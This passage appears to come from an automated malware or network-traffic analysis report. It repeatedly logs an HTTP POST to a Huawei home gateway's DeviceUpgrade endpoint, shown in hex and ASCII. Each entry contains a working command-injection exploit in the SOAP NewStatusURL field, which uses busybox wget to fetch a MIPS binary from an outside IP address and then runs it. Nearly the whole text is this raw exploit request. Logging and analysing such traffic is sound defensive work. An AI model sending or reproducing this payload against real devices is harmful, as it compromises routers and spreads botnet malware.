65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
